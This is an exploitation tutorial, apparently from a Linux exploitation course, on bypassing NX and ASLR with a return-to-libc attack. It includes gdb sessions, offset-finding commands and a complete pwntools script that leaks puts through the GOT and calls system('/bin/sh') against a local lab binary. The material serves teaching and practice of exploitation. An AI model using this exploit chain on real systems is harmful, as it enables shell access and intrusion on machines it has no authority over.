Tutorial

Return-to-libc Attack on x86

Bypass NX protection by returning to libc functions instead of executing shellcode on the stack. Learn to leak addresses and chain function calls.

2 min read intermediate

Prerequisites

  • Understanding of x86 calling conventions
  • Familiarity with PLT/GOT
  • Basic pwntools knowledge
  • Previous stack overflow experience

Part 7 of 12 in Linux Exploitation Fundamentals

Table of Contents

When NX (No-Execute) protection is enabled, you cannot execute shellcode on the stack. Return-to-libc attacks bypass this by redirecting execution to existing functions in libc, such as system().

Understanding ret2libc

The Concept

Instead of executing our own code, we:

  1. Overwrite EIP with the address of a libc function (e.g., system())
  2. Set up the stack to pass arguments to that function
  3. Provide a return address for after the function completes

Payload Structure

[ Junk Buffer ][ system() ][ exit() ][ "/bin/sh" ]
    N bytes       EIP        ret        arg1

Initial Analysis

Identifying the Vulnerability

python -c 'print("A"*200)' | ./vulnerable
# Segmentation fault (core dumped)

python -c 'print("A"*100)' | ./vulnerable
# No crash

The crash occurs around 200 characters.

Finding the EIP Offset

gdb-peda$ pattern create 200 pattern.txt
gdb-peda$ run < pattern.txt

EIP: 0x41416d41 ('AmAA')
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140

Checking Protections

checksec --file=./vulnerable
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

NX is enabled - we cannot execute stack shellcode. ASLR status:

cat /proc/sys/kernel/randomize_va_space
2   # ASLR is active

Leaking libc Addresses

Since ASLR randomizes libc’s base address, we need to leak an address at runtime.

Understanding PLT and GOT

  • PLT (Procedure Linkage Table): Contains stubs that jump to GOT entries
  • GOT (Global Offset Table): Contains actual function addresses after resolution

The PLT/GOT addresses are fixed (no PIE), but GOT entries point to randomized libc addresses.

The Leak Strategy

  1. Call puts@plt with puts@got as argument
  2. This prints the actual libc address of puts
  3. Return to main to exploit again with known addresses

Identifying Addresses

gdb-peda$ info functions
0x08048340  puts@plt
0x0804847d  main

gdb-peda$ x/3i 0x8048340
0x8048340 <puts@plt>:    jmp    DWORD PTR ds:0x80497b0

gdb-peda$ x/wx 0x80497b0
0x80497b0 <puts@got.plt>:  0xb7e68ca0
  • puts@plt: 0x08048340
  • puts@got: 0x080497b0
  • main: 0x0804847d

Building the Exploit

Stage 1: Leak puts Address

from pwn import *

r = process('./vulnerable')

puts_plt = 0x8048340
puts_got = 0x80497b0
main = 0x0804847d

payload = ""
payload += "A"*140           # Junk to reach EIP
payload += p32(puts_plt)     # Call puts()
payload += p32(main)         # Return to main after puts
payload += p32(puts_got)     # Argument: address to print

r.recvuntil('desert:')
r.sendline(payload)
r.recvline()

leak = u32(r.recvline()[:4])
log.info('puts@libc is at: {}'.format(hex(leak)))

Stage 2: Calculate libc Base

With the leaked puts address, calculate libc’s base:

# Find puts offset in libc
# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep puts
puts_offset = 0x67ca0  # Example offset

libc_base = leak - puts_offset
log.info('libc base: {}'.format(hex(libc_base)))

Stage 3: Call system(“/bin/sh”)

# Find system and /bin/sh offsets in libc
system_offset = 0x3ada0
binsh_offset = 0x17b8cf

system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

payload2 = ""
payload2 += "A"*140
payload2 += p32(system_addr)
payload2 += p32(0xdeadbeef)  # Return address (don't care)
payload2 += p32(binsh_addr)  # Argument to system()

r.sendline(payload2)
r.interactive()

Complete Exploit

#!/usr/bin/env python3
from pwn import *

# Addresses from binary (no PIE, fixed)
puts_plt = 0x8048340
puts_got = 0x80497b0
main = 0x0804847d

# Offsets from libc (find with readelf/objdump)
puts_offset = 0x67ca0
system_offset = 0x3ada0
binsh_offset = 0x17b8cf

r = process('./vulnerable')

# Stage 1: Leak puts address
payload1 = "A"*140
payload1 += p32(puts_plt)
payload1 += p32(main)
payload1 += p32(puts_got)

r.recvuntil('desert:')
r.sendline(payload1)
r.recvline()

leak = u32(r.recvline()[:4])
libc_base = leak - puts_offset
log.success('Leaked puts@libc: {}'.format(hex(leak)))
log.success('libc base: {}'.format(hex(libc_base)))

# Stage 2: Call system("/bin/sh")
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

payload2 = "A"*140
payload2 += p32(system_addr)
payload2 += "JUNK"            # Fake return address
payload2 += p32(binsh_addr)

r.recvuntil('desert:')
r.sendline(payload2)
r.interactive()

Finding Offsets

Locating libc

ldd ./vulnerable
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6

locate libc.so.6

Finding Function Offsets

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w system
# 1443: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w puts
# 423: 00067ca0   474 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.0

Finding /bin/sh String

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
# 17b8cf /bin/sh

Key Concepts

Why This Works

  1. PLT/GOT addresses are fixed (no PIE)
  2. We can call puts to leak any address
  3. libc functions have fixed offsets from the base
  4. Once we know one address, we can calculate all others

ASLR vs PIE

  • ASLR randomizes library (libc) addresses
  • PIE randomizes the binary’s own addresses
  • Without PIE, PLT/GOT addresses are predictable
  • We leak libc addresses through GOT entries

Troubleshooting

Wrong Offsets

Offsets vary between libc versions. Always check the target system’s libc:

# On target
ldd --version
md5sum /lib/i386-linux-gnu/libc.so.6

Partial Overwrite

If the leak looks wrong, check for null bytes truncating the output. You may need to leak a different function.